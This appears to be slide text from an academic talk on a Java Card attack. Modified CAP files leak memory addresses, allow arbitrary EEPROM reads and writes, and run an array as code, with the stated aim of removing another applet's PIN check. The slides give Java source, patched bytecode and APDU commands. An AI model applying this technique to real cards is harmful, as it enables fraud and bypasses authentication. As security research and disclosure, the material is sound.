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Introduction

• Java card security
– Strong typing → byte code verification
– Application isolation : firewall

• Applets can communicate only if they share the 
same context (same Package identifier id est AID),

• Or if they use a shareable interface.
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Introduction

• Java card security
– Strong typing → byte code verification
– Application isolation : firewall
– Applet loading only if authenticated

• Protocol SCP01 from Global platform,
• Need to have the keys.
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Java Card Architecture

Java source code

Development Library

.jar

Java 
Compiler

*.java

Java Class files

.jar
Byte code verifier,
converter, and signer

Off-card loader

Card
Image

On-card
loader

API

Interpreter

O.S.

Java Card files

.cap

Java Card Virtual Machine
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Objective of the attack

• Modify the code of another applet even if 
not in the same security context,

• Example:
public void debit (APDU apdu )
{

...
if (!pin.isValidated())
{         

ISOException.throwIt(SW_AUTHENTIFICATION_FAILED);
}
...//do something safely

}

Byte code : .... 11 69 85 8D ...
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Objective of the attack

• Modify the code of another applet even if 
not in the same security context,

• Example:
public void debit (APDU apdu )
{

...
if (!pin.isValidated())
{         

//removed code
}
...//do something safely

}

Byte code : .... 11 69 85 8D... → ... 00 00 00 00 ...
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Firewall Specification
• We can access card's memory by using the 

specification of the firewall.
• In fact, it doesn't check the call of next functions :

– putstatic
– getstatic
– invokestatic
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Sketch of the attack in three steps

• We need to read and write 
anywhere in the eeprom

• In order to do it in an optimized 
way we need mutable code,
– To perform mutable code we need 

to manipulate arrays, and get their 
physical address. 

– To access the array as a method we 
need to access our own instance

Another Security Context

Read

Write

Byte code 
section

3

1

2
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First step retrieve array address
public short getMyAddresstabByte(byte[] tab)
{
short toto=(byte)0xAA;
tab[0] = (byte)0xFF;
return toto;

}
.....
public void process(APDU apdu) throws ISOException
{
...
case (byte) 0x29 : // provide an array address
Util.setShort(apduBuffer, (short) 0, getMyAddresstabByte(tab));
apdu.setOutgoingAndSend( (short) 0, (short) 2);
break;
...
}
.....
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getMyAddresstabByte (byte[] tab)
{
03 // flags     : 0 // max_stack : 3
21 2 // nargs : 2  // max_locals: 1
10 AA bspush -86
31 sstore_2        
19 aload_1         
03 sconst_0
02 sconst_m1
39 sastore
1E sload_2
78 sreturn
}

public short getMyAddresstabByte(byte[] tab)
{
short toto=(byte)0xAA;
tab[0] = (byte)0xFF;
return toto;

}

L2 toto
L1
L0

Tos

Loc
This

@tab
This

@tab
This

@tab
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getMyAddresstabByte (byte[] tab)
{
03 // flags     : 0 // max_stack : 3
21 2 // nargs : 2  // max_locals: 1
10 AA bspush -86
31 sstore_2        
19 aload_1         
00 nop
00 nop
00 nop
00 nop
78 sreturn
}

public short getMyAddresstabByte(byte[] tab)
{
short toto=(byte)0xAA;
tab[0] = (byte)0xFF;
return toto;

}

L2 toto
L1
L0

AA

Tos @tab
This

@tab



SSD Team-Xlim

Usage

• We succeed to retrieve a reference in the card 
memory.

• This should be impossible if a verifier was 
embedded

Array address ?

80 29 00 00 00

94 4C 90 00
The address is 0x944C
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Sketch of the attack in three steps

• In order to read/write it in an optimized way we 
need mutable code,
– To perform mutable code we need to manipulate arrays, 

and get their physical address.
– DONE
– To access the array as a method we need to access our 

own instance
• In the step 1 we have learn how to get the address of an array
• In this step we will replace a method invocation by a method 

invocation with our array address
• We will be able to execute arbitrary code that can be

dynamically modified

1

2
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Access to our own embedded code

• In is impossible to invoke an arbitrary byte array.
• Thus we need to lure the interpreter,

– By retrieving our instance's reference we can find our 
class address and so our method's address.

– We will replace the invokestatic dummyMethod
by invokestatic myArray, which address 
(0x944C) has been retrieved in the previous step.

– We are using the instruction invokevirtual to 
retrieve this reference.
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Second step retrieve address of 
my Trojan instance

public short getMyAddress()
{ short toto;

return toto,
}
…
public void process(APDU apdu) throws ISOException
{
...
case (byte)0X27 :  // retrieve instance address
short val = getMyAddress();
Util.setShort(apdu.getBuffer(),(short)0,(short)val);
apdu.setOutgoingAndSend( (short) 0, (short) 2);
break;

…
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case (byte)0X27 :  
short val = getMyAddress();
Util.setShort(apdu.getBuffer(),(short)0,(short)val);
apdu.setOutgoingAndSend( (short) 0, (short) 2);
break;

18 aload_0         
8B 00 0A invokevirtual 11
32 sstore_3
19 aload_1         
8B 00 07 invokevirtual 8
03 sconst_0        
1F sload_3        
8D 00 0C invokestatic 12
3B pop             
19 aload_1         
03 sconst_0        
05 sconst_2        
8B 00 0B invokevirtual 13

L2 xx
L1 @apdu
L0 This

Tos

L3 valReturn of getMyAddress



SSD Team-Xlim

case (byte)0X27 :  
short val = getMyAddress();
Util.setShort(apdu.getBuffer(),(short)0,(short)val);
apdu.setOutgoingAndSend( (short) 0, (short) 2);
break;

18 aload_0
8B 00 0A invokevirtual 11
32 sstore_3        
19 aload_1         
8B 00 07 invokevirtual 8
03 sconst_0        

8D 00 0C invokestatic 12
3B pop             
19 aload_1         
03 sconst_0        
05 sconst_2        
8B 00 0B invokevirtual 13

1F sload_3

L2 xx
L1 @apdu
L0 This

Tos

00

Return of getMyAddressthis

L3 valReturn of getMyAddress

Return of getBuffer

18 aload_0



SSD Team-Xlim

Usage

• We succeed to retrieve our reference in the card 
memory.

• This should be impossible if a verifier was 
embedded

Instance reference?

80 27 00 00 00

92 35 90 00
The instance address is 0x9235
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Sketch of the attack in three steps

• In order to read/write it in an optimized way we 
need mutable code,
– To perform mutable code we need to manipulate arrays, 

and get their physical address.
– DONE
– To access the array as a method we need to access our 

own instance
• In the step 1 we have learn how to get the address of an array
• In this step we will replace a method invocation by a method 

invocation with our array address
• We will be able to execute arbitrary code that can be

dynamically modified

1

2

2b
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What we got at step 2 ?
An instance reference

@ 0x9235
A pointer on the Eprom heap @ class

header

Owner context
Instance data

Sec. context
header

Static variable
@ Meth. table

@ m2
@ m1

@ m3
@ m4

byte code

header

Step 2’ retrieve this address
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Step 2’…

• Until now we just modified the CAP file,
• The address of the class reference is not on the 

stack,
• We need to be able to read and write at an 

arbitrary address,
• Now use the getstatic functionnality.
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.....
static byte ad;
.....
//Read memory function
public byte getMyAddress()
{
return ad;

}
.....
public void process (APDU apdu) throws ISOException
{
...
case (byte) 0x28 : // read the content of the memory
apduBuffer[0] = (byte)getMyAddress();
apdu.setOutgoingAndSend( (short) 0, (short) 1);
break;

...
}
.....
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CAP modification is not enough 
public byte getMyAddress() 
{

// flags     : 0
// max_stack : 1
// nargs : 0
// max_locals: 0

7C 00 02 getstatic_b 2
78 sreturn
}

public byte getMyAddress() 
{

// flags     : 0
// max_stack : 1
// nargs : 0
// max_locals: 0
7C 00 02 getstatic_b 92 35
78 sreturn

}

ModifiedOriginal
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Constant Pool Component
…
/* 0008, 2 */ CONSTANT_StaticFieldRef : 

0x0000
…
Method Component
Method_info[1]//@000C{
//flags :0
//max stack:1
//nargs : 1
//max locals:0
/*000e*/ getstatic_b 00 02
/*0011*/ sreturn
}
Reference Location component
…
Offset_to_byte2_indices = {@000f...}
…

On Board Linker

2 => @ 0x8805

On Board Method
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Constant Pool Component
…
/* 0008, 2 */ CONSTANT_StaticFieldRef : 

0x0000
…
Method Component
Method_info[1]//@000C{
//flags :0
//max stack:1
//nargs : 1
//max locals:0
/*000e*/ getstatic_b 00 02
/*0011*/ sreturn
}
Reference Location component
…
Offset_to_byte2_indices = {@000f...}
…

On Board Linker

2 => @ 0x8805

On Board Method

@9af4
Method_info[1]{
01
10
getstatic_b 0x8805
sreturn

1
3

2



SSD Team-Xlim

Reference Location modification
Directory Component
Component_sizes = {… referenceLocation : 00 2A …} …
Reference Location component
Size 00 2A
Size of the 2 byte subsection 00 1F
Offset_to_byte2_indices = {@000f, @002C,..., @01af} …

Directory Component
Component_sizes = {… referenceLocation : 00 29 …} …
Reference Location component
Size 00 29
Size of the 2 byte subsection 00 1E
Offset_to_byte2_indices = {@002C,..., @01af}
…
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Constant Pool Component
…
/* 0008, 2 */ CONSTANT_StaticFieldRef : 

0x0000
…
Method Component
Method_info[1]//@000C{
//flags :0
//max stack:1
//nargs : 1
//max locals:0
/*000e*/ getstatic_b 92 4C //address of the 

instance
/*0011*/ sreturn
}
Reference Location component
…
Offset_to_byte2_indices = {@002c...}
…

On Board Linker

2 => @ 0x8805

On Board Method

@9af4
Method_info[1]{
01
10
getstatic_b 0x924C
sreturn
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Usage

• We succeed to read any address in the card 
memory.

• This should be impossible if a verifier was 
embedded

Value at address 0x924c ?

80 27 00 00 00

9a 3e 90 00
The class address is 0x9a3e
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What we got at step 2’ ?
An instance reference

@ 0x9235
A pointer on the Eprom heap @ class

header

Owner context
Instance data

Sec. context
header

Static variable
@ Meth. table

@ m2
@ m1

@ m3
@ m4

header

invoke @c342 //m4
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Write anywhere

• Same approach with getstatic
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What remains to do ?
An instance reference

@ 0x9235
A pointer on the Eprom heap @ class

header

Instance data
Instance data

Sec. context
header

Static variable
@ Meth. table

@ process
@ m1

@ m3
@ m4

header

invoke @944C//CodeDump Array

@ 0x944C CodeDump

@175
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Sketch of the attack in three steps

• In order to read/write it in an optimized way we 
need mutable code,
– To perform mutable code we need to manipulate arrays, 

and get their physical address.
– To access the array as a method we need to access our 

own instance
• In the step 1 we have learn how to get the address of an array
• In this step we will replace a method invocation by a method 

invocation with our array address
• We will be able to execute arbitrary code that can be

dynamically modified

1

2

3

2b
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Execute array

• Array code :
– public byte[] codeDump = {(byte)0x01, (byte)0x00, 

(byte)0x7D, (byte)0x00, (byte)0x00, (byte)0x78};
– Logical view

// flags     : 0
// max_stack : 1
// nargs : 0
// max_locals: 0
getstatic_s 0000
sreturn
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Address initialization
public void process (APDU apdu) throws ISOException
{
...
case (byte) 0x30 : // init address in the Array

short NbOctets = apdu.setIncomingAndReceive();
if (NbOctets != (short)2 )
{      ISOException.throwIt((short)0x6700);   }
//Change high address
codeDump[3] = apduBuffer[ISO7816.OFFSET_CDATA];
//Change low address
codeDump[4] = apduBuffer[ISO7816.OFFSET_CDATA+1];
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Usage
Initialize address

80 30 00 00 02 83 00

90 00

Read & increment address

80 31 00 00 00

55 90 00
Did I found the pattern ?

Yes modifies the value
Write value

80 31 00 00 01 00

90 00
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Conclusion
• We succeeded in implementing Hypponen seminal idea and we 

optimized the attack,
• This attack runs well on old smart cards, recent cards integrate some 

counter measures.
• Some cards resist to the attack (e.g. those having a BCV inside), but 

combined with the abortTransaction attack we succeeded with one of 
these cards,

• The question is ‘is that attack a serious threat ?’
• In a first approach we would say no.

– Post issuance is still a dream,
– In the real life no on-the-field card support post issuance,
– The spec JC 3.0 Connected Edition accept the class file instead of CAP 

file, verifier is mandatory.
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